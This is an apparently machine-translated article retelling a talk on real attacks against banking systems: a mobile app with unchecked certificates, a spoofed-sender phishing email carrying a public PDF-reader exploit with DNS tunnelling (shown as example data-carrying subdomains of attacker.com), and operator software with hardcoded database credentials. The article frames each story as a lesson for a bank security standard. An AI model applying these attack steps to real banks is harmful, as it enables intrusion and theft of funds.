Attacks on banking systems

I do not remember on Habré articles about attacks on banks. No theory and fantasy, real practice and screenshots

A little introduction. Not so long ago, I spoke at the VI Ural Forum on Information Security of Banks, where a lot of attention was paid to the new CBR standard on ensuring information security of banking systems, and my report was on the same topic. The standard identifies 7 stages of the life of banking systems (software), from writing TK to decommissioning. And the outline of my report was the following - to tell some real stories of attacks, projecting them onto a new standard from the Central Bank, and showing how it (the standard) could “break” these vectors if the banks applied it. And on Habré, I will publish a retelling of my speech (carefully, pictures!) . Oh and yes - all information is provided solely for the purpose of familiarization and in no case is not a guide to action.

Story # 1 - popular, SSL'naya

We all know about SSL. All sensetive data must be transmitted through encrypted data, in the case of the web it is via HTTPS


We all know about this green color at the beginning of the navigation bar. Who am I telling?

And in the case of a “man in the middle” attack with a “strip” (substitution) of the certificate
:

')
The client browser will swear to the wrong certificate:


MitM Google

The bar will “blush” and warnings will be in the whole window.

With banks, too. The bank, wherever necessary, prescribed HTTPS for clients, everywhere they use an encrypted connection. And if there is traffic interception, then the client will see a warning, this technical part goes to the shoulders of browser developers.

But there comes a time when the bank releases the application for mobile platforms. And here is the verification of such things passes on the shoulders of the developers of the banking client. As with the same attack - the substitution of the certificate between the client (mobile application) and the bank API, a situation may arise that the certificate is not verified. For an attacker, the attack is similar.


MitM proxy when replacing SSL traffic

As a result, an attacker can replace the transaction with the client and divert money. Problems at stages:

• Development TK . TK should be developed taking into account the specifics of the software and knowledge of the future environment of the application, including (and we are only talking about this in this article) from a security point of view;
• Creation and testing . Well, this is understandable. The error in fact was implemented when writing the code, and the tests missed it;
• Acceptance and commissioning . The new standard says this - put the system into action - do pentest.

PS And for good, it is necessary not only to check the certificate correctly, but also to do SSL Pining - sew the imprint of the bank certificate into the application itself (and check!)

Story # 2 - Hardcore

It seems the previous story was too simple (albeit popular). Therefore, we will add techniques and set a goal - to penetrate the bank’s internal network, i.e. get an oversight car. And we will not be wise, the idea of ​​the vector will be simple: send a letter with a flood and get a return gateway.

Getting started. First, we collect all the available emails (via harvester, by hand, somehow else). It is advisable to find mail security officers. We send mail via the SMTP protocol, which by its architecture allows you to specify any sender. And we receive the first moment: we will send the letter from the security service of the bank to the operator (trying to increase the level of trust).

Good. Now we need to think about investing. Just a trojan? Too easy. Available in public is an Adobe Acrobat Reader - ASLR / DEP Bypass Exploit with SANDBOX BYPASS , which affects three branches of a super popular PDF reader and bypasses all kinds of protections. The probability that it will be installed in the bank is very high.


1 - we are sending the letter, 2 - the letter is delivered to the addressee, 3 - we believe that the addressee has opened the letter

So, we are at step 3. Most likely, we will get into the CIS, where there should not be the Internet as such (or very limited). The second point is using DNS tunneling for the reverse gateway . In short - if you are on a network where there is no “Internet”, but when you ping a website, its IP resolves, for example

Pinging somesite.ru [162.243.231.60] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. 

This means that you can still get to the external network. Often found in practice in banks and in all sorts of hotels. The idea is the following - a domain is taken, which is configured on its own special DNS server, which logs all calls. Data are taken and encoded into subdomains of this domain. A rough example:

 0x11112222222233333333.attacker.com 0x33333344444444445555.attacker.com 0x55555666666666777777.attacker.com 0x77777788888888999999.attacker.com 

The DNS server decrypts them and sends reverse commands. Problem solved - access to internal network received :)

Problems at three stages: acceptance and commissioning, operation, maintenance and modernization — for the attacker, they most often “look” like one — problems in the internal infrastructure.

Story # 3 - true banking

If the first two stories can be projected not only onto banks, the third one is specific in its essence (although, who knows). Banks do not often develop their software, and often buy box solutions. The next article sent an attack from one of them from the BSS (I’ll make a reservation right away, this has already been mentioned many times, including by my colleague JRun at ZeroNights ).

RBOs are remote banking systems. And they are separated - on physical. Persons and on jur. individuals. And secondly, in these systems there is an opportunity - to send documents to the bank (any!).


It looks something like this

The document is sent:


Any of our document after sending

And comes to the operator:


The operator has special desktop software for processing such requests

He opens it, and after that on our account 13 billion rubles:


Customer account, after the operator opened the attachment

WTF !?

The problem is architectural - the operator's software is arranged as follows: it works directly with the database with SQL queries, and the login is sewn right into the client: the password for connecting to the database (yes, they are encrypted, but on a shared key that was successfully extracted by reverse engineering the operator’s software). ). The interface, login / password of the operator itself are only visual limitations, which can be simply thrown out and connected by the SQL manager directly to the database.

Here it is clear that the main problem at the stage of TZ and design (oh, I met an article on Habré where the author in the mobile application also went directly to the database), but also at the stages of creation, testing and commissioning. Yes, it’s an architectural problem, but you can limit the files that are started on the workstation, in Windows it’s not so difficult.

I think, on Habré there are not so many bank workers, but I am sure that it was easy for software developers / admins / testers to learn.